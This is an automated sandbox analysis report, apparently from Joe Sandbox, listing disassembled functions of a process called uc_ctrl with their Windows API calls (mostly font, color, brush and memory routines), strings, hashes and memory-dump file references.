                                                                                              • API ID:
                                                                                              • String ID: P$fer
                                                                                              • API String ID: 0-1002059999
                                                                                              • Opcode ID: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
                                                                                              • Instruction ID: dbfecdf758e28956c6297f5973a2a78081460765d5b0f9b0974caf0ed7116a9d
                                                                                              • Opcode Fuzzy Hash: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
                                                                                              • Instruction Fuzzy Hash: FF821774E04259CFDB24CF99D890BADB7B2FF48308F24819AD409AB755D771AA81CF60
                                                                                              Function 6CFBFEA4 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373stringCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFBFEAE
                                                                                                • Part of subcall function 6CF9512A: __EH_prolog3.LIBCMT ref: 6CF95131
                                                                                                • Part of subcall function 6CF9512A: GetWindowDC.USER32(00000000,00000004,6CFC0443,00000000), ref: 6CF9515D
                                                                                              • GetDeviceCaps.GDI32(?,00000058), ref: 6CFBFECE
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFF38
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFF56
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFF74
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFF92
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFFB0
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFFCE
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFBFFEC
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFC000A
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFC0028
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFC0046
                                                                                              • GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 6CFC007E
                                                                                              • lstrcpyW.KERNEL32(?,?), ref: 6CFC00CE
                                                                                              • EnumFontFamiliesW.GDI32(?,00000000,6CFBF840,Segoe UI), ref: 6CFC00F5
                                                                                              • lstrcpyW.KERNEL32(?,Segoe UI), ref: 6CFC0108
                                                                                              • EnumFontFamiliesW.GDI32(?,00000000,6CFBF840,Tahoma), ref: 6CFC0126
                                                                                              • lstrcpyW.KERNEL32(?,MS Sans Serif), ref: 6CFC0140
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC014A
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC019B
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC01DA
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC0206
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC0227
                                                                                              • GetSystemMetrics.USER32(00000048), ref: 6CFC0246
                                                                                              • lstrcpyW.KERNEL32(?,Marlett), ref: 6CFC0259
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC0263
                                                                                              • GetStockObject.GDI32(00000011), ref: 6CFC028F
                                                                                              • GetObjectW.GDI32(00000000,0000005C,?), ref: 6CFC02A6
                                                                                              • lstrcpyW.KERNEL32(?,Arial), ref: 6CFC02E3
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC02ED
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC0306
                                                                                              • GetStockObject.GDI32(00000011), ref: 6CFC031A
                                                                                              • GetObjectW.GDI32(?,0000005C,?), ref: 6CFC032F
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC033D
                                                                                              • CreateFontIndirectW.GDI32(?), ref: 6CFC035E
                                                                                                • Part of subcall function 6CFC07FA: __EH_prolog3_GS.LIBCMT ref: 6CFC0801
                                                                                                • Part of subcall function 6CFC07FA: GetTextMetricsW.GDI32(?,?), ref: 6CFC0837
                                                                                                • Part of subcall function 6CFC07FA: GetTextMetricsW.GDI32(?,?), ref: 6CFC0878
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
                                                                                              • String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
                                                                                              • API String ID: 3209990573-1395034203
                                                                                              • Opcode ID: 8778de6f9d416c72ec61173ea8521af92205223195814c56fc23d9c19d3e945b
                                                                                              • Instruction ID: d147a0dc34c78d5b8d7b618a06a0651cb20e05906a48a72fc5bcb5ef50055ca0
                                                                                              • Opcode Fuzzy Hash: 8778de6f9d416c72ec61173ea8521af92205223195814c56fc23d9c19d3e945b
                                                                                              • Instruction Fuzzy Hash: CFE192B4A013499FEF119FB0CC58BDEBBB8BF0A309F104199D95AA7690DB709549CF12
                                                                                              Function 6CFC03DD Relevance: 64.8, APIs: 43, Instructions: 297COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFC03E4
                                                                                              • GetSysColor.USER32(00000016), ref: 6CFC03ED
                                                                                              • GetSysColor.USER32(0000000F), ref: 6CFC0400
                                                                                              • GetSysColor.USER32(00000015), ref: 6CFC0417
                                                                                              • GetSysColor.USER32(0000000F), ref: 6CFC0423
                                                                                              • GetDeviceCaps.GDI32(?,0000000C), ref: 6CFC044B
                                                                                              • GetSysColor.USER32(0000000F), ref: 6CFC0459
                                                                                              • GetSysColor.USER32(00000010), ref: 6CFC0467
                                                                                              • GetSysColor.USER32(00000015), ref: 6CFC0475
                                                                                              • GetSysColor.USER32(00000016), ref: 6CFC0483
                                                                                              • GetSysColor.USER32(00000014), ref: 6CFC0491
                                                                                              • GetSysColor.USER32(00000012), ref: 6CFC049F
                                                                                              • GetSysColor.USER32(00000011), ref: 6CFC04AD
                                                                                              • GetSysColor.USER32(00000006), ref: 6CFC04B8
                                                                                              • GetSysColor.USER32(0000000D), ref: 6CFC04C3
                                                                                              • GetSysColor.USER32(0000000E), ref: 6CFC04CE
                                                                                              • GetSysColor.USER32(00000005), ref: 6CFC04D9
                                                                                              • GetSysColor.USER32(00000008), ref: 6CFC04E7
                                                                                              • GetSysColor.USER32(00000009), ref: 6CFC04F2
                                                                                              • GetSysColor.USER32(00000007), ref: 6CFC04FD
                                                                                              • GetSysColor.USER32(00000002), ref: 6CFC0508
                                                                                              • GetSysColor.USER32(00000003), ref: 6CFC0513
                                                                                              • GetSysColor.USER32(0000001B), ref: 6CFC0521
                                                                                              • GetSysColor.USER32(0000001C), ref: 6CFC052F
                                                                                              • GetSysColor.USER32(0000000A), ref: 6CFC053D
                                                                                              • GetSysColor.USER32(0000000B), ref: 6CFC054B
                                                                                              • GetSysColor.USER32(00000013), ref: 6CFC0559
                                                                                              • GetSysColor.USER32(0000001A), ref: 6CFC057A
                                                                                              • GetSysColorBrush.USER32(00000010), ref: 6CFC0593
                                                                                              • GetSysColorBrush.USER32(00000014), ref: 6CFC05A7
                                                                                              • GetSysColorBrush.USER32(00000005), ref: 6CFC05B6
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC05D3
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC05F1
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC060F
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC0630
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC064E
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC066C
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC068A
                                                                                              • CreatePen.GDI32(00000000,00000001,00000000), ref: 6CFC06AE
                                                                                              • CreatePen.GDI32(00000000,00000001,00000000), ref: 6CFC06D2
                                                                                              • CreatePen.GDI32(00000000,00000001,00000000), ref: 6CFC06F6
                                                                                              • CreateSolidBrush.GDI32(?), ref: 6CFC077E
                                                                                              • CreatePatternBrush.GDI32(00000000), ref: 6CFC07C0
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
                                                                                              • String ID:
                                                                                              • API String ID: 3832706086-0
                                                                                              • Opcode ID: bfc4e7f6d7bffbde85bc8919d038a854efe372e1a3e39d1b8a4923615b7cd334
                                                                                              • Instruction ID: fa3f8d4ec0e247fcf7e0f0938f18fdc049144954b84db52945c1caa3bfe19fa5
                                                                                              • Opcode Fuzzy Hash: bfc4e7f6d7bffbde85bc8919d038a854efe372e1a3e39d1b8a4923615b7cd334
                                                                                              • Instruction Fuzzy Hash: 05C18D70B01652AFDF05AFB0890879DFBB0BF0A715F104219EA16D7B80DB74A525CF96
                                                                                              Function 00108832 Relevance: 19.6, APIs: 13, Instructions: 104COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(0010A674,0010A684,0010C488,00000014), ref: 00108883
                                                                                              • _initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(0010A658,0010A670,0010C488,00000014), ref: 001088A9
                                                                                              • ___scrt_release_startup_lock.LIBCMT ref: 001088C4
                                                                                              • ___scrt_is_nonwritable_in_current_image.LIBCMT ref: 001088D8
                                                                                              • ___scrt_is_nonwritable_in_current_image.LIBCMT ref: 001088FE
                                                                                              • _register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,0010C488,00000014), ref: 0010890A
                                                                                              • ___scrt_get_show_window_mode.LIBCMT ref: 00108910
                                                                                              • _get_wide_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,0010C488,00000014), ref: 00108919
                                                                                              • _cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0(0010C488,00000014), ref: 00108939
                                                                                              • ___scrt_uninitialize_crt.LIBCMT ref: 00108941
                                                                                              • ___scrt_fastfail.LIBCMT ref: 00108990
                                                                                              • exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000007,0010C488,00000014), ref: 00108996
                                                                                              • _exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000007,0010C488,00000014), ref: 0010899E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ___scrt_is_nonwritable_in_current_image$___scrt_fastfail___scrt_get_show_window_mode___scrt_release_startup_lock___scrt_uninitialize_crt_cexit_exit_get_wide_winmain_command_line_initterm_initterm_e_register_thread_local_exe_atexit_callbackexit
                                                                                              • String ID:
                                                                                              • API String ID: 2427040849-0
                                                                                              • Opcode ID: 323b5f004c40cb09728beada315823fc6f3d42efcfe69c56df830923163eb175
                                                                                              • Instruction ID: 0893cdcad72734b373bd7a36eafc29ede6c151645689610605424bbf9d9b827f
                                                                                              • Opcode Fuzzy Hash: 323b5f004c40cb09728beada315823fc6f3d42efcfe69c56df830923163eb175
                                                                                              • Instruction Fuzzy Hash: F431463164D302EADB247B789C17BBD73616FA1724F684019F0C06B5C3CFE64941C6A6
                                                                                              Function 6CF8E70A Relevance: 18.1, APIs: 12, Instructions: 134memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(?), ref: 6CF8E717
                                                                                              • GlobalAlloc.KERNEL32(00000002,00000000), ref: 6CF8E76F
                                                                                              • GlobalHandle.KERNEL32(00000000), ref: 6CF8E77A
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 6CF8E783
                                                                                              • GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 6CF8E79C
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CF8E7B1
                                                                                              • LeaveCriticalSection.KERNEL32(?), ref: 6CF8E7F8
                                                                                              • GlobalHandle.KERNEL32(00000000), ref: 6CF8E80A
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CF8E811
                                                                                              • LeaveCriticalSection.KERNEL32(?), ref: 6CF8E818
                                                                                              • EnterCriticalSection.KERNEL32(6D1C72D0,00000000,?,?,6CF89F7E,?,?,?,00000000,6D0F3C34,00000000), ref: 6CF8E82F
                                                                                              • LeaveCriticalSection.KERNEL32(6D1C72D0,?,?,6CF89F7E,?,?,?,00000000,6D0F3C34,00000000), ref: 6CF8E85B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$CriticalSection$Leave$AllocEnterHandleLock$Unlock
                                                                                              • String ID:
                                                                                              • API String ID: 2233717024-0
                                                                                              • Opcode ID: 183c36a5e1f397945fbd9197cb1dd84c8b13f4905ea3b2899af89043810e1351
                                                                                              • Instruction ID: d309ad8311f5638fef2dbc2fdfe4adf6a5687050347b7fa5476bd50f58755286
                                                                                              • Opcode Fuzzy Hash: 183c36a5e1f397945fbd9197cb1dd84c8b13f4905ea3b2899af89043810e1351
                                                                                              • Instruction Fuzzy Hash: 7E41E175602305AFCB04CF64D888B6AB7B8FF09315B208629EC25C7A50DB71F856CBD1
                                                                                              Function 6CF70BF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 6CF70C33
                                                                                              • PathRemoveFileSpecA.SHLWAPI(?), ref: 6CF70C40
                                                                                              • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6CF70CFE
                                                                                              • GetFileSize.KERNEL32(000000FF,00000000), ref: 6CF70D1C
                                                                                              • ReadFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 6CF70D71
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CreateModuleNamePathReadRemoveSizeSpec
                                                                                              • String ID: \SK.txt
                                                                                              • API String ID: 2445516684-2142966246
                                                                                              • Opcode ID: 50e5a6d00e661f3b24a3b4b431964af3f7f904d716119d72606a8860befee2ad
                                                                                              • Instruction ID: 215a481cfdb023b3a82d9e6b414c9747a18945f21c8c29cb779b8a78b7335f02
                                                                                              • Opcode Fuzzy Hash: 50e5a6d00e661f3b24a3b4b431964af3f7f904d716119d72606a8860befee2ad
                                                                                              • Instruction Fuzzy Hash: 7D515770D0426C9FDB29CB24CC45BDDBBB5AF49314F1482D9E649A7280CBB46B88CF91
                                                                                              Function 6D05E9C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6D05E9CC
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FAF1
                                                                                                • Part of subcall function 6CF8FAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB07
                                                                                                • Part of subcall function 6CF8FAC0: LeaveCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB15
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB22
                                                                                              • GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 6D05EA1F
                                                                                              • GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 6D05EA35
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
                                                                                              • String ID: DragDelay$DragMinDist$windows
                                                                                              • API String ID: 3965097884-2101198082
                                                                                              • Opcode ID: 4018c4ec991051685fe618570b35c10f2fa44e422c20519956ff0a48c5c1af1f
                                                                                              • Instruction ID: 964b68a4beb556634a042a423f16b978af23e4a170b3864a99a4f998b2998bcb
                                                                                              • Opcode Fuzzy Hash: 4018c4ec991051685fe618570b35c10f2fa44e422c20519956ff0a48c5c1af1f
                                                                                              • Instruction Fuzzy Hash: 4A011AB0A017009FEBA0EF399645719BEF4BB09714F44492EE159EBB84EBF491008F46
                                                                                              Function 6CF8F24C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 147COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6CF8F287
                                                                                              • PathFindExtensionW.SHLWAPI(?), ref: 6CF8F2A1
                                                                                                • Part of subcall function 6CF8FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBD3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception@8ExtensionFileFindModuleNamePathThrow
                                                                                              • String ID: .CHM$.HLP$.INI
                                                                                              • API String ID: 1938139466-4017452060
                                                                                              • Opcode ID: 06f369cf0a6c62ee0e002b74743ba47577e6c629c78db6fcb5404b5014ed7246
                                                                                              • Instruction ID: 8aec52cc39fb8fca68e88675b8bfd5d448e10a0d2ec40de14262b1d5b77b91a7
                                                                                              • Opcode Fuzzy Hash: 06f369cf0a6c62ee0e002b74743ba47577e6c629c78db6fcb5404b5014ed7246
                                                                                              • Instruction Fuzzy Hash: 7751B0B19027089FEB60DB75CC44B9A73FCEF44318F20496ADA85D3A80EB74D584CB22
                                                                                              Function 6CFBFA50 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6CFBFAAD
                                                                                              • VerSetConditionMask.KERNEL32(00000000), ref: 6CFBFAB5
                                                                                              • VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6CFBFAC6
                                                                                              • GetSystemMetrics.USER32(00001000), ref: 6CFBFAD7
                                                                                                • Part of subcall function 6CFC03DD: __EH_prolog3.LIBCMT ref: 6CFC03E4
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000016), ref: 6CFC03ED
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000F), ref: 6CFC0400
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000015), ref: 6CFC0417
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000F), ref: 6CFC0423
                                                                                                • Part of subcall function 6CFC03DD: GetDeviceCaps.GDI32(?,0000000C), ref: 6CFC044B
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000F), ref: 6CFC0459
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000010), ref: 6CFC0467
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000015), ref: 6CFC0475
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000016), ref: 6CFC0483
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000014), ref: 6CFC0491
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000012), ref: 6CFC049F
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000011), ref: 6CFC04AD
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000006), ref: 6CFC04B8
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000D), ref: 6CFC04C3
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000E), ref: 6CFC04CE
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000005), ref: 6CFC04D9
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000008), ref: 6CFC04E7
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000009), ref: 6CFC04F2
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000007), ref: 6CFC04FD
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000002), ref: 6CFC0508
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(00000003), ref: 6CFC0513
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000001B), ref: 6CFC0521
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000001C), ref: 6CFC052F
                                                                                                • Part of subcall function 6CFC03DD: GetSysColor.USER32(0000000A), ref: 6CFC053D
                                                                                                • Part of subcall function 6CFBFEA4: __EH_prolog3_GS.LIBCMT ref: 6CFBFEAE
                                                                                                • Part of subcall function 6CFBFEA4: GetDeviceCaps.GDI32(?,00000058), ref: 6CFBFECE
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFF38
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFF56
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFF74
